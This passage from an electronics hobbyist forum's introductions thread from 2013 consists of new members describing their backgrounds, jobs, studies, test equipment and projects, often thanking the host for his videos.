Hi!  I'm Danielle.  I'm a computer tech/systems admin from New York who likes to play with electronics on the side.  I'm passionate about technology in every aspect, but hardware is my favorite part.  I know a bit of programming too (mostly Java) and I'm also a photographer and musician.

I joined the forums since I just picked up my first scope.  It seemed like a good place to turn for help and advice with that :P  (Seeing as I got all my information so far from David's videos)
Title: Re: New Member, Please introduce yourself
Post by: atw60444 on September 22, 2013, 01:26:41 pm
Hi,
   I'm Jonathan from Portsmouth in England. I've been following Dave's video blogs since #1, whenever that was!
I owned my first soldering iron from age 8, passed my Radio Amateurs Examination at 16. Worked in the Telecoms industry for 32 years. But been tinkering with electronics and radio construction & repair most of the time as my main hobby.
I also play 2nd Cornet and am Chairman for a local Brass Band. It makes a nice break from technology :) 

73
Jon
Title: Re: New Member, Please introduce yourself
Post by: Scotty on September 25, 2013, 03:15:14 am
Hello all, my name is Scott and I'm currently a student at Louisiana Tech University majoring in Mechanical Engineering, but I have a interest in electronics design.  I cant wait to be an active member on this forum.
Title: Re: New Member, Please introduce yourself
Post by: madsci on September 26, 2013, 06:31:12 am
I'm Andrew from Dallas, Texas. I'm currently a part time student at the University of Texas at Arlington majoring in EE. I'm currently clearing out some prerequisite courses to the more advanced stuff.

I'm also the on-call sysadmin for a small private school back home and I run a tiny PC and electronics repair shop out of my bedroom, an operation that has been going on for about 15 years. I completed my first stereo repair when I was 9 years old and I've been interested in anything that passes electrons in a controlled manner since I shocked the heck out of myself on some xmas lights when I was 3.

I'm also a ham...KE5TMP.

Title: Re: New Member, Please introduce yourself
Post by: Köcki on September 26, 2013, 02:30:51 pm
hello everybody, i am köcki from germany. just a beginner in pcb and electronic design. i hope i can learn a lot and perhaps even help you and give some advices.

regards
Title: Re: New Member, Please introduce yourself
Post by: andtfoot on September 26, 2013, 02:56:19 pm
I've posted a couple of times now after an extended lurk, so I suppose I should chuck something here... :)
I'm Andrew from Australia. Currently living near and working in Canberra as an Audio/Video Technician of sorts.

I picked up electronics as a hobby back in high-school (I'm 26 now, so... sometime ~10 years ago?), and did most of an Adv. Dip. in Electronics before a job opportunity struck. Been working full-time since, but wouldn't mind finishing off the course.

I've recently gotten into it again and also started earning enough to get a bit more serious with the hobby so I'm stocking up the "lab". I have a cheap analog and digital scope, DMM, soldering station, chip programmer, assorted misc; looking at PSUs, function generator, etc in the near-ish future.

Loving the videos and the knowledge on here. :D
Title: Re: New Member, Please introduce yourself
Post by: Br0ski on October 01, 2013, 11:36:52 am
Br0ski here. Was an Electronics Technician for the military working on Satellite Communications always been interested in electronics. I like what Dave's doing here (love his videos) and thought I would drop in and check this place out. Maybe participate a little. I am still learning as electronics spans a very huge array of topics and expertise. Currently I am using most of my skills for setting up audio equipment and learning about that. I work now as an Industrial Engineer.
Title: Re: New Member, Please introduce yourself
Post by: djococaud on October 01, 2013, 10:21:46 pm
Hi everyone,
My name is Jonathan, also called "Djo", I'm currently a LED lighting system designer in a small company in Nantes (France).
My typical working day is to draw PCBs for LED Spots, LED stage lights, LED video screens and so on...
My hobbies are music (piano, guitar, bass...) and electronics (of course  ;)), Mostly based on LEDs (Yes I'm a LED fanatic  ;D).


Oh yeah, and I love this forum ! :-+
Title: Re: New Member, Please introduce yourself
Post by: victor on October 03, 2013, 03:16:33 am
Hi, my name is Victor, I'm a computer science kid, but I was always playing with electronics before computers, I was always hacking electronics, blowing shit, taking things apart.

My interest in electronics started since taking toys apart, then I was facinated about transmitters I dived in rf and analog electronics, etching some boards using all savaged parts. Some years after I started programming software and I dived in digital electronics.

I was always following all kind of electronics content on books and the internet, so one day I found the EEVBlog about 2 years ago, watching it since then but just recently joined the forum.
Title: Re: New Member, Please introduce yourself
Post by: alan747 on October 06, 2013, 11:26:27 pm
Hey! im Alan and i have a very big interest in all things electronic.
Title: Re: New Member, Please introduce yourself
Post by: coreybus on October 07, 2013, 12:03:10 am
Hi Im Corey. Studying Electrical Engineering at The Royal Melbourne Institute of Technology (RMIT). First year as of 2013. I have always been interested in electronics and how electronic systems function so i though becoming an Electrical Engineer would be a fitting career path into something that i am truly interested in.
Title: Re: New Member, Please introduce yourself
Post by: Rcouto on October 07, 2013, 12:06:14 am
Hi All,

Ricardo from Canada. I am an electronics hobbyst. Love Dave's youtube channel.

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: hughes_k on October 07, 2013, 12:10:29 am
Hey, everyone! I'm Kevin from Philadelphia.  I am just about done my Master's in EE from JHU (Baltimore, MD), and have my bachelor's degree in Computer Engineering double with Applied Math and Statistics.  I love Dave's videos, and have found the forum to be really interesting too.
Title: Re: New Member, Please introduce yourself
Post by: Hamster on October 07, 2013, 12:17:01 am
Hey, New Member 2x .... I was a member, but got purged ? had to resign up.

I repair Arcade & Pinball PCB Boards, and Member of the Orlando, FL , US Familab Hackspace, and Tampa, FL, US "Tampa hackerspace" .

I own various test equipment:

HP 16700A & B Units , Modules include dso, la, pg ..
Rigol 815-tg + swr bridge
Rigol 100mhz dso scope
fluke 9010 microprocessor test system.
fluke z80 & 6809 portable microprocessor test boxes.(not sure on exact model #)
rhode & swartz rf signal generator
crt tube rejuvenator.
lots of avr & arduino stuff.


i just enjoyed the weekend @ the orlando mini maker faire, baby sitting & coding on the "RaspberryPi Controlled Fireball" Pinball machine..

i am also one of them "amateur radio operators" , US Call-sign "KI4SWY"
Title: Re: New Member, Please introduce yourself
Post by: lagman on October 07, 2013, 12:36:21 am
Hey,
I'm François and I live in France. I just got a Master's degree in micro electronics and I'm currently looking for my first job.
I like to play with electronics in general but I specially like RC planes (currently owning a Bixler 2).
I also LOVE batteries. I guess it's because they can contain so much power... I like to build battery powered things, like LED flashlights or an USB emergency battery.
Looking forward to learn many things here!
Title: Re: New Member, Please introduce yourself
Post by: usLEDsupply on October 07, 2013, 12:49:46 am
Hello, i think i have watched every one of the EEVblog videos over the past few years and lave learned a lot about electronics and test equipment from them:-) for work i do product design and tech support for usLEDsupply and i am always excited to work on electronic projects or making things with our CNC routers.
Hello to all
Desta from Mercer, PA USA
Title: Re: New Member, Please introduce yourself
Post by: MichaelW on October 07, 2013, 01:32:07 am
Well, this could be a ridiculously long post, but I'll keep it as short as I can. I am 41 year old working on a electrical engineering degree.

As a kid I was interested in electronics, I took stuff apart. I read a few books. I built a few circuits that were featured in those books. However, I never really understood what I was doing. I was a poor student and ended up quitting school at 15, joined the US Navy at 17 (got my GED in the Navy), was a welder (poor ASVAB math scores prevented getting into anything interesting like electronics), got out and got into computers and spent the next ~20 years being a bench tech/it consultant... but wasn't happy.  I always regretted not going to college, and I always regretted not pursuing my interest in electronics. So, when I lost my job do to the economy in 2009, I decided to go to the local community college. Initially, I intended to go for a CompSci degree, but quickly decided that I really didn't want to do that.  What I REALLY wanted to do was finally get into electronics!  So, I switched gears and started on the long path toward an EE degree. It took me 4 years to get my AA (had to work and pay bills, plus a LOT of remedial math) and right now I am at University as a Junior in the EE program.

A while back I discovered Dave on one of his videos and was highly entertained and learned something, so I decided to watch more of his videos. Been watching ever since. I finally decided to come over to the forum and register. I'll be asking some dumb questions, I'm sure. To be honest, I have been wanting to post something for a while, but I've been intimidated. I know so very little, I feel dumb for even being here. As if I have nothing to contribute.

I think Dave and I are about the same age, and had I had the presence of mind, dedication, and drive that he has, I could probably have been doing something so much more productive and interesting with my life than the aimless wandering it has been so far. Hopefully I can make this course correction work and spend the next 20+ years doing something I enjoy.

Hmm. Now that I read back over that it was a rambling mess. Let me try again:

Was interested in electronics as kid, quit school, joined Navy, wasted life for 20 years, lost job, started college, working on EE degree at University now.

That was better.
Title: Re: New Member, Please introduce yourself
Post by: chrisdevilx3 on October 07, 2013, 01:32:54 am
Hi, my name is Chris and I am from Greece. I am an Electrical and Computer Engineering student and Iam interested in everything involves hardware. I like arduino constructions and stuff..
Title: Re: New Member, Please introduce yourself
Post by: bronzies on October 07, 2013, 02:05:40 am
Hello from California. I am a molecular biology student. I am taking a few DCC classes on the side and am excited about the skills I'm getting. Hopefully there are a few electronics projects in my future!
Title: Re: New Member, Please introduce yourself
Post by: dacrawf on October 07, 2013, 02:40:47 am
Hi everyone! My name is Derek, I am from Michigan. I am a computer engineer by education. I am employed as a mechatronics engineer for a global heavy duty diesel engine manufacturer. My job is focused around CAN based distributed  engine control system test and validation using hardware in the loop simulation. I have followed the eevblog videos since Dave was still in his garage...
Title: Re: New Member, Please introduce yourself
Post by: cubansite on October 07, 2013, 02:44:07 am
Hey guys im lew

Born in cuba, but grew up in the states with the passion to take things apart and see if i could break fix it.

love the blog
 
Title: Re: New Member, Please introduce yourself
Post by: deth502 on October 07, 2013, 02:59:17 am
i just saw the contest announcement and id love to get one of those flukes, or the gossen (really no use for 4th place) so i came here and see that i only had 3 posts. im sure this wouldnt count as a "meaningful" post, but i figured id post something anyway, even though im not "new" here.

been watching the blog for a long time. never really get to the forums much, although i did get great responses from the question i did ask here. mainly, i think im a bit below the bar of the average member here, and i dont want to look like the village idiot asking stupid shit all the time.

im 36 now. i was into hobby electronics back in my teenage years, but havent been into it for a while. back then, no real matls to learn from, and no real outlet for components. lately in the last year or 2 ive been getting back into it. the internet and ebay make things SOOOO different now than what it was.

so, right now im trying to know everything i knew before, lol. ive never gotten into microcontrollers, thats one new aspect to me im starting to look at now. i dont work in the field, its all hobby for me. i do do electrical installs and repairs (line voltage stuff) and some networking stuff (wiring hookups, ect, no software side stuff) as well as general contracting, auto repair... ect....

ok, i guess ive rambled on enough. stay safe all!
Title: Re: New Member, Please introduce yourself
Post by: HIGHintention on October 07, 2013, 03:21:38 am
Hi, my names Emerson from Philippines. I have always have fun tinkering electronics even though I'm not good at it. It would be nice if I can find simple electronic solutions about things I get myself involved with in nature/outdoors(monitoring), photography and Wilderness Search and Rescue.
Title: Re: New Member, Please introduce yourself
Post by: Sar on October 07, 2013, 03:31:01 am
Hey I'm new here as well, just checking out the forums (after the YouTube contest announcement, I guess it's working!).

I actually found EEVBlog through The Amp Hour and caught up on a bunch of the videos over the last few days. I enjoy the videos and, yeah, sometimes I am like 'but but, can't you see that....' and that's usually when Dave's going 'You're probably all yelling at your screen.' LOL.  Fun videos and some really cool teardowns and such. I really liked the FPGA and JTAG intro stuff, almost makes it tempting to get into.

I've pretty much lived electronics my whole life, started off in the forest mims books from ratshack when I was 7 or 8. Digital electronics came a lot more naturally than analog electronics but I can bumble my way through either when it really needs to be done. I've done quite a few projects from working with high energy HV caps (8500 - 21,000 joule at 10kv-21kv) to silly light blinking projects for people who absolutely must have lights blink to make a piece of equipment "look busy" for the investors. My work stuff these days is mostly working with LED displays and my fun time projects are electronics, R/C helis and multicopters, FPV, 3D printing and the rare proprietary design job on the side. If there's anyway I can help with those areas I will contribute.

Anyways, now that I've caught up on the videos I'm going to be following on the forums as well.
Title: Re: New Member, Please introduce yourself
Post by: Greyersting on October 07, 2013, 04:09:10 am
Hi, I am Greyersting (not real name of course).  Electronics is my hobby and I am just a beginner.  I hope to learn a lot here.
Title: Re: New Member, Please introduce yourself
Post by: Wormetti on October 07, 2013, 04:24:51 am
I'm 34 and in Melbourne, Australia. I'm more of a software engineer than hardware but I'm interested in all technology. I only started watching Dave's videos when he did a teardown on the Amiga 500 but I've watched every video after that.
Title: Re: New Member, Please introduce yourself
Post by: cristoper on October 07, 2013, 04:42:53 am
Hello from Colorado (USA). I've always loved electronics, but have been sucked into software development for the past ten years or so (most recently iOS stuff, blegh). I'm finally getting back into learning about electronics -- I bought a new soldering station and registered an account on the eevblog forum and everything  :)
Title: Re: New Member, Please introduce yourself
Post by: MinK on October 07, 2013, 06:20:40 am
Hello,

I'm recently graduated electrical engineer. Dave's video blog really helped me. Hope forum will add even more useful info and ideas for projects :)
Title: Re: New Member, Please introduce yourself
Post by: konatsu on October 07, 2013, 07:12:09 am
HI, I'm Robert from Poland
Title: Re: New Member, Please introduce yourself
Post by: pstrag on October 07, 2013, 07:55:59 am
Hey, I'm Slawek. I'm control and automation student from Poland and electronics is my hobby (after third attempt I understood how to use transistor, every time half year break, but I was 10-ish years old) :> Now trying to learn to program industrial PLCs, but most of time playing with small microcontrollers.
Title: Re: New Member, Please introduce yourself
Post by: Avi on October 07, 2013, 08:21:02 am
I'm Avi, just a hobbyist for now. Mainly deal with ARM microcontrollers and PC software that interfaces with it.
you can see some of my projects on my (sometimes online, self hosted) website http://avi.hobby-site.org:8888/wiki/index.php/Main_Page (http://avi.hobby-site.org:8888/wiki/index.php/Main_Page)
Title: Re: New Member, Please introduce yourself
Post by: niekproductions on October 07, 2013, 08:30:56 am
I've been lurking these forums for way too long, and finally decided to register  ^-^

I'm Niek (http://niekproductions.com/), 15 years old and located in the Netherlands. I've been a long time subscriber to the youtube channel. Dave has taught me a lot of what I know about electronics.

I've been into electronics since I was 8 years old. There's only a tiny selection of my projects on my blog (http://niekproductions.com/). A couple of videos can be found on my Youtube channel (http://youtube.com/niekniekgo).

Also, I love reading the (sometimes) too good to be true crowdfunding discussions  :-+
Title: Re: New Member, Please introduce yourself
Post by: XOIIO on October 07, 2013, 08:53:07 am
Hey, I'm XOIIO, medium-time ish fan of the eevblog on youtube, but a life long lover of electronics, taking them apart, making new stuff, modifying things, etc. Recently got into arduino. Not sure if there's much else to say.
Title: Re: New Member, Please introduce yourself
Post by: arjhun on October 07, 2013, 08:55:10 am
Hello EEVBLOG!

My name is Arjen Klaverstijn. I'm from the Netherlands and I've been following Dave ever since I started looking into electronics and open hardware. I am a 3D animator by day and like to fiddle with electronics in my spare time. I like experimenting with arduino boards (UNO, Teensy 2.0++) I've recently build a 3d printer (reprap Prusa i2) and am currently building custom midi devices for my other hobby, music (example (https://plus.google.com/116012912882807940699/posts/JBWS3rgirhE))!.

My site:
www.arjenklaverstijn.com (http://www.arjenklaverstijn.com)

blog:
blog.arjenklaverstijn.com (http://blog.arjenklaverstijn.com)

Hope to talk soon!

Arjen (Arjhun)
Title: Re: New Member, Please introduce yourself
Post by: jbe on October 07, 2013, 09:40:53 am
Hi guys!

I'm a german physics student, currently struggling with his master-thesis ;)

My current electronics projects are:
- blinky-stuff with real small bulbs (no leds, that is ;) ); A 8 by 18 Matrix, calculated to consume up to 14 Amps at 3.3V
- a passive uC controlled audio preamplifier
Title: Re: New Member, Please introduce yourself
Post by: eendje on October 07, 2013, 11:13:30 am
Hi All,

I am Bob, electronics engineer.

I just love the tare down video´s of Dave it saves me loads of time....

Regards,

Bob
Title: Re: New Member, Please introduce yourself
Post by: IZ3IJG on October 07, 2013, 11:14:31 am
Hi everybody,
I'm Daniel from Venice (Italy). I work as solution architect in the banking sector but I'm fond of electronics and wireless communications. Presently I'm working on some projects base on Arduino DUE.
Also, you may contact me on HF band (PSK31) as my callsign is IZ3IJG.
Title: Re: New Member, Please introduce yourself
Post by: Hooch on October 07, 2013, 02:26:52 pm
Hello.
I'm Maciej from Poland.
I'm starting with electronics. I'm more into microcontrollers then other stuff, but I hope I'll learn there something.
Title: Re: New Member, Please introduce yourself
Post by: Brutte on October 07, 2013, 02:56:45 pm
Hi, how do you do?
I am a long time viewer of EEVBlog so I have finally decided to register.
I especially like detailed tear-downs, reviews and Dave's explanations of how the stuff internally works. I always loved disintegrating devices into elementary pieces and experimenting with those and now, since we have Dave, it is equally entertaining and much more fun!
Title: Re: New Member, Please introduce yourself
Post by: GingGangGooly on October 07, 2013, 03:06:52 pm
Hi, I am based in the UK.

I originally started out life working in the electronics field & somewhere along the way moved over to working on computers. It has been a score or more years since I last properly tinkered & wow how the world has changed. The collection of 74 & 40 series chips I have may soon be old enough to be in a museum  :-DD

Always found Dave's video's entertaining & he certainly speaks his mind. No doubt I will be asking questions & answering some where I can.

Cheers
Title: Re: New Member, Please introduce yourself
Post by: gregallenwarner on October 07, 2013, 03:16:36 pm
Hi. I'm a US viewer who's been watching Dave's videos for quite some time now. I'm a software developer by trade, but I enjoy doing a bit of hardware design as a hobby. I'm hoping I can begin to do some FPGA or CPLD stuff soon, of which I currently know nothing, so I decided to come here to get some help.
Title: Re: New Member, Please introduce yourself
Post by: Stephen1424 on October 07, 2013, 06:26:14 pm
Stephen
Live in Los Angeles CA, USA

Been watching from the beginning

Love Apex Electronics near my house, never knew about it before Dave went on his vacation over here. :)
Title: Re: New Member, Please introduce yourself
Post by: V3r50n on October 07, 2013, 07:12:56 pm
Good day, I am Jt. I am a software engineer and I have been learning pcb design and electronic engineering on the side. If anyone has any questions relating to both I may be able to help or send you in the right direction on where to find this help. Looking forward to meeting and exchanging knowledge.
Title: Re: New Member, Please introduce yourself
Post by: magnus0re on October 07, 2013, 07:26:19 pm
Hello, My name is Magnus, I come from Norway.
I am studying electronics engineering at Bergen university College. I've been lurking alot, so time to become a member.
Title: Re: New Member, Please introduce yourself
Post by: maros on October 07, 2013, 08:50:06 pm
Hi folks! My name is Mark, and I'm an electrical engineer, currently working as an embedded programmer.

I'm EEVblog viewer since couple of years. I like to watch especially tear downs of any measurement gear (oscilloscopes, multimeters, etc.).

I'm glad to be a new member of EEV forum community!
Title: Re: New Member, Please introduce yourself
Post by: XL5 on October 07, 2013, 09:24:18 pm
Hello

I'm Matt. I'm a software engineer at NSN in the UK and I'm also a Computer Security Student at UWE.

This is kind of a hobby.
Title: Re: New Member, Please introduce yourself
Post by: Lucas on October 07, 2013, 09:51:33 pm
I'm Lucas from the Netherlands. Never studied electronics, but I've started some projects recently. So I'm still in the process of learning and of building a basic set of equipment.

One of the projects I started is a power amplifier for HIFI sound. The design I use is made by a very knowledgeable friend.
Title: Re: New Member, Please introduce yourself
Post by: vk2hmc on October 07, 2013, 11:00:11 pm
Marki from North Epping, Sydney, Australia here.

Dead keen on Precision timing.
Have a large HP (and some other makes) 1975-1995 test equipment collection some of which I use regularly.

I only just discovered the forums although I registered a few months ago for something and never posted.

Look forward to some quality time well spent with like minded aficionado's or helping out.

thanks for having me Dave!
--marki
Title: Re: New Member, Please introduce yourself
Post by: thoper on October 07, 2013, 11:31:27 pm
Hi everyone! i'm Alexis from CHILE, i'm an EE and work in an industru not related to EE..... :( i have some experience in medical devices design,...
Title: Re: New Member, Please introduce yourself
Post by: ishelly404 on October 08, 2013, 02:10:53 am
Hi everyone,

I'm Ian from the USA.  I have watched EEVBlog for about a year and last month decided to bite the bullet and create an account here.

I'm not an EE (not yet at least...) but I tinker with electronics as a hobby.
Title: Re: New Member, Please introduce yourself
Post by: GaryW on October 08, 2013, 02:16:19 am
Hi everyone -

I'm Gary from the USA.  I'm new to the EEVBlog and to electronics in general.  I'm an IT executive (a programmer for many years) who works too much and has realized I need a new hobby and something I can learn along with and teach my son. 

So....I found EEVBlog and joined!

Title: Re: New Member, Please introduce yourself
Post by: kalobg on October 08, 2013, 05:54:33 am
Hello all,

EE student in the US.  Been watching Dave's Youtube videos for some time and I thought I'd branch out into other interesting topics found here!
Title: Re: New Member, Please introduce yourself
Post by: MrProsser on October 08, 2013, 08:05:38 am
Hello all,
I live in Ottawa, ON, Canada and am sadly currently between jobs...but anyway, I have a background in physics and computer science. Currently I am mainly focused on programming but I am trying to get back into doing electronics work as a hobby. I mainly worked in particle physics when doing my physics degree but my favourite labs were the various digital and analogue electronics courses I took while doing both degrees. Loads of fun. Anyway, I have sadly forgotten a lot but hopefully I can recover some of that knowledge.
Title: Re: New Member, Please introduce yourself
Post by: Richard_Fry on October 08, 2013, 09:55:06 am
Hi,

Just realised I've been slowly posting away and haven't said Hi in the welcome lounge, so Hi!
Been in the industry for 20years now, assembly, test, design etc.
Originally in the UK in the medical industry and most recently in the GPS / auomotive datalogging area.
Just moved to Australia for a new start  ;D

See you all in the forums.
Rich.
Title: Re: New Member, Please introduce yourself
Post by: Flick on October 08, 2013, 12:24:35 pm
Hi, my name is Felipe, I'm from Brasil. I'm a Telecom Eng. student and also I have an embedded systems company :)
Title: Re: New Member, Please introduce yourself
Post by: Valueduser on October 08, 2013, 12:47:00 pm
Hi, I study computer engineering technology.  Although my course of study focuses on digital design and embedded systems I also am very interested in audio design.
Title: Re: New Member, Please introduce yourself
Post by: AF6LJ on October 08, 2013, 06:13:44 pm
My name is Susan, I am semiretired former RF tech, electronics hobbyist and radio amateur.
I have been an SWL for all my life, well ever since my grandfather introduced it to me when I was seven.
By the time I entered middle school I had an interest in electronics which my family encouraged.
I made a career of it until the hand of fate changed things.

I enjoy walks on the beach at sunset, being in the arms of a strong man and I am a Scorpio
Oh wait.....
This is not the seventieths anymore
;)

Title: Re: New Member, Please introduce yourself
Post by: walterharriman on October 08, 2013, 06:39:12 pm
Hello EEVBlog viewers! My name is Dan Colmer, I'm a 15 year old nerd living in the UK and I have recently started watching the EEVBlog. I'm not exactly an expert in the field - I've dabbled in some extremely basic Raspberry Pi stuff (by which I mean sticking a plastic sheet over a keyboard and using it as an input device for a soundboard program), and my equipment inventory consists of a 12MHz analogue Farnell scope (DTC12 if anyone wants to looks it up), one of the ubiquitous OneHungLow 830-type meters, an analogue meter of uncertain vintage and a Skytronics bench PSU with the loudest fan I have ever heard on a piece of test gear. I mostly troubleshoot stuff (primarily other people's NES consoles as I'm a huge retro gamer, and that's often just a dodgy cart connector), but have very little knowledge of actual hobby electronics. I'm willing to learn, and the EEVBlog has taught me an awful lot. Most of my past projects have been film props with blinking LEDs and stuff, so I have yet to achieve anything of practical significance.

See you guys on the forums!
Title: Re: New Member, Please introduce yourself
Post by: zorder on October 08, 2013, 08:55:41 pm
Hi everyone,

I'm a PhD student, currently writing my master thesis on computer science. I'm interested in haptic devices and virtual reality, and I started learning electronics a few years ago to build some custom devices. I discovered Dave's channel on youtube a few months ago, and I found it very interesting and funny to see. Since then, I've replaced everyday's TV with EEVBlog episodes. Happy to learn while having fun!
Title: Re: New Member, Please introduce yourself
Post by: 99wilksjam on October 09, 2013, 01:13:48 am
Hi , I'm Jamie from the UK. I love to tinker around with avr and create projects that lead into great ideas!
Title: Re: New Member, Please introduce yourself
Post by: stempile on October 09, 2013, 03:44:39 am
Hello. I hail from Northern California, USA. Collecting tools and taking things apart for as long as I can remember. My great grandpa was a classic tv repair man among other things. His shop was a dingy mid western basement with all kinds crazy stuff. Everything in their house was always half taken apart just in case something needed adjustment.

I like to build robots and am an active volunteer if the usfirst.org organization in many levels.  My degrees are in business (MBA), my passion is in hacking and learning about electronics. I am driving by figuring things out.
Title: Re: New Member, Please introduce yourself
Post by: june on October 09, 2013, 07:18:12 am
My name is mandy, and I am just graduated from university.
Title: Re: New Member, Please introduce yourself
Post by: 84GKSIG on October 09, 2013, 02:45:17 pm
Wanted to say hello,

Im a 25 year old electronic hobbyist from Australia, ive been playing with electronics since I was 6 and I have taught my self a lot over the years.

I'll give anything a go, repairing, making hacking its all good fun and best way to learn :-+

micro controller stuff still confuses me but ill get my head around it one day!  :-/O

my fascination is with amplifiers, chip amps, tube amps, discrete component amps, hybrid tube and chip, love every single one of them and love building them :-+
Title: Re: New Member, Please introduce yourself
Post by: avas911 on October 09, 2013, 03:45:30 pm
HI,

I am Salman from Bangladesh. I am an Electronics Engineering graduate. But working as a Software Engineer for more than 2.5 yrs.

As a child used to love electric and electronics. Did not have the tools or reference materials than. After getting internet I have been doing a lot of hacking and fixing. Mostly fix stuff for fun.

Sad news is after getting this job I am having trouble with time management. Still have 2 Sapphire 5750 and one XFX 4670 in drawer gathering dust. Would like to fix them when I get some time.

Did not know about this forum until I decided to do some digging on some good multimeters. Came to the youtube channel from google and watched all the multimeter videos.

Found the forum after this.

Problem is I am not educated enough for most stuff written here. Still will try my best to participate. Mostly will be reading stuff, but maybe one day :D
Title: Re: New Member, Please introduce yourself
Post by: JustinHV32 on October 10, 2013, 05:10:49 am
Gday everyone,
 Im Justin from victoria. I'm a keen electronics hobbyist. I work as "Linesman" - powergrid maintenance person, for 10 years, so not an EE at all.
I've been into building things for as long as I can remember, not necessarily electronic.
My engineering interests include electronics, programming and cnc machining.
I'm mainly into AVR and ARM based projects.
Title: Re: New Member, Please introduce yourself
Post by: logman on October 10, 2013, 07:40:57 am
hello. I'm just getting into electronics as a hobby, but i've been taking things apart since i was a kid. i just got a new soldering station and hope to learn electronics :)
Title: Re: New Member, Please introduce yourself
Post by: cloud_constructor on October 10, 2013, 01:57:51 pm
Hi everyone!

im from greece , athens in particular , im a professional php developer but electronics were always on my mind.Ive been building my lab for a gazzilion years but finaly im happy with it!

Still new to microcontrollers , they where never around here back on the 90`s !!

well anyway .. Hellowwwzzz
Title: Re: New Member, Please introduce yourself
Post by: Tonkabot on October 10, 2013, 05:42:50 pm
Hello,    I have been doing EE and CSCI for 35 years now, and have only known about Dave's videos for a couple years.

I work a a consulting firm where we do whatever the customer wants, which is usually too much with too little money  :)
Generally I do embedded systems from design to board layout to firmware to production,  with whatever parts work best.
I must admit that I like AVR's over PIC's, but I have done a lot of Coldfire stuff and now plenty of ARM.

Title: Re: New Member, Please introduce yourself
Post by: AwArD_RzD on October 11, 2013, 12:47:23 am
Hi

I'm Jason, i found the EEVblog last year when my love for electronic came back after a 10 year break. I started to take apart thing when i was 3 year old, when i had my first computer i knew what i wanted to do, after a 3 years in Electrical Engineering Technology (sorry for the translation) i left because i was not very good with other class and the motivation was not there :=\ . 3 year after i took a course (sorry again for the translation) in Electro-automated system, i learned hydraulic,pneumatic system, all the automation to run an assembly line or anything a big industry need to mass produce something, motor drive and high power equipment (600v 3 phase 1k amp, don't touch that with your hand). Last year i found this blog and well i was curious what i missed and well i found i still love electronic but now as a hobby and it's very different of the vision i had many year ago.

so Hi everyone and thanks Dave for this blog and thanks everyone who contribute!!

Title: Re: New Member, Please introduce yourself
Post by: bootfetch on October 11, 2013, 02:16:54 am
Hi All!

Im Bootfetch from the philippines - i like playing around with microcontroller (PIC/AVR/Arduino) stuff and programming in Java and Scilab.

I always watch Dave in you tube and im really amazed how he tears down stuff (coz if tear them down theres a 95% chance they wont go backto normal hehe)

Im keeping a blog http://labratsgonewild.com/ (http://labratsgonewild.com/) where i put posts of the projects that i like, i have a few posts of my own projects just a start up, im hoping to get more projects posted - Hope you guys like it.

Title: Re: New Member, Please introduce yourself
Post by: orion242 on October 11, 2013, 02:34:36 am
Hello all,

I’m the US and work in the commercial building automation industry.  I design and program automation systems that control HVAC and lighting equipment mainly.  From time to time I get to dabble in the PLC world on industrial equipment.

When not working, I enjoy taking apart the same controllers poke around them and see what makes them work.  I hack away at the internals both software and hardware for my own amusement.  I also play with uCs, mainly Parallax stamps, propellers and recently the raspberry pi.

My main draw to this site was :-DD:

(http://www.gifsforum.com/images/gif/other/grand/b635367e2005e76d5a2658b3ea16518e.gif)
Title: Re: New Member, Please introduce yourself
Post by: sanarose on October 11, 2013, 05:02:44 am
Hi friends my name is Sana. i am new here i recently join this great community this is great forum to get information i read out all the threads on this forum and get pretty knowledge and also shared my knowledge in this forum....
Anyways would you like to introduce your self...??
Title: Re: New Member, Please introduce yourself
Post by: Mex on October 11, 2013, 11:03:27 am
Hi all,

I am a UK PHD student in Computer Science and I help run our Universities Maker society. (http://tinkersoc.org (http://tinkersoc.org))
Title: Re: New Member, Please introduce yourself
Post by: greg_gsg on October 11, 2013, 02:30:03 pm
Hello from Greece

I have a company here in Greece (a one man show really) and I do electronic design, technical consulting etc for my customers.

I "use" David s video blog/channel , especially after a long day to relax and learn something new...

Gregory





























Gregory
Title: Re: New Member, Please introduce yourself
Post by: mr6b on October 11, 2013, 11:13:04 pm
Hello everyone :)

First offall Thank you Dave for all the good YouTube videos

Im from Norway and my spelling sucks bigtime :) have been playing around whit electronics for a fea years now most audio stuff and old computers since im a retro gamer and a music lover ..

I have no background in electronics so some of the eevblog videos are way to complex for me but i never get tierd of them :)

My "lab" equipment is a old Kenwood CS1022 scope, Fluke 87 and a fea diy powersupplyes , next on my must have list is a frequency generator and a digital scoop
 
Title: Re: New Member, Please introduce yourself
Post by: krux on October 12, 2013, 03:35:58 am
Hey all.  Krux here from SYN Shop in Las Vegas, Nevada.  I hack on electronics, make robots, and custom steampunk goggles.

In the middle of a web site redesign, but the following will get you to a link of some of the projects I've done:

https://krux.org/projects

and also here:

https://synshop.org/blog/krux


And yes, the web cert for krux.org is expired as well.. that's also on my list to.
Title: Re: New Member, Please introduce yourself
Post by: Gravity1337 on October 12, 2013, 05:40:58 am
Hi, I'm Matt - been dabbling in one way or another for years. Trying to finally get a better understanding of everything so I can do some more complicated stuff.
Title: Re: New Member, Please introduce yourself
Post by: jakeyflower on October 12, 2013, 10:31:00 am
Hello everyone, My names Jakey I love electronics, I'm 21 as a kid i always use to pull apart electronics to see how they worked :)

I'd also like to personally Dave (eevBlog) I found out about him and this website Through this video "EEVblog #180/183/186 - Soldering Tutorial Part 1/2/3" 

I've realised why all my soldering has been crap and I gave up, I always soldered the tip first, had a crap iron an was using cheap crappy solder, I can't wait to give this another go as I love building electronics kits but gave? up because of my bad experience, Thank You Again!

Anything else you'd like to know about me just ask :)
Title: Re: New Member, Please introduce yourself
Post by: HyBird on October 12, 2013, 02:10:06 pm
Hi Guys,

My Name ist Marco Iam 39 years old and i live in Bonn (Germany).
Iam working in a little Factory as Chemical Technican Assistent.
My Job there is mixing fatty things with Water and emulgators to get
Cremes and Lotions for sensible Skins. (anti allergic Stuff without harmful parfum or conservation agents)

My second job and hobby is: I am a PC Doctor (PC Doktor Bonn)
I try to help all the People with a Computer Issue.
So i also interestet to educate myself in electronics.
And one Day i stumbeled over thhe EEVBlog with dave and his funny Voice. So i was infected by the EEVBlog Virus.
And now it was time to sign in into the Forum to meet all this other Guys with so much potential......

And if you have an issue with your Computer ask me i will try to help........

   
Title: Re: New Member, Please introduce yourself
Post by: jakeyflower on October 12, 2013, 02:18:48 pm

Hi Guys,

My Name ist Marco Iam 39 years old and i live in Bonn (Germany).
Iam working in a little Factory as Chemical Technican Assistent.

Hey hybird, nice to meet you :)
I have sensitive skin an use some cream to sometimes :P


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Title: Re: New Member, Please introduce yourself
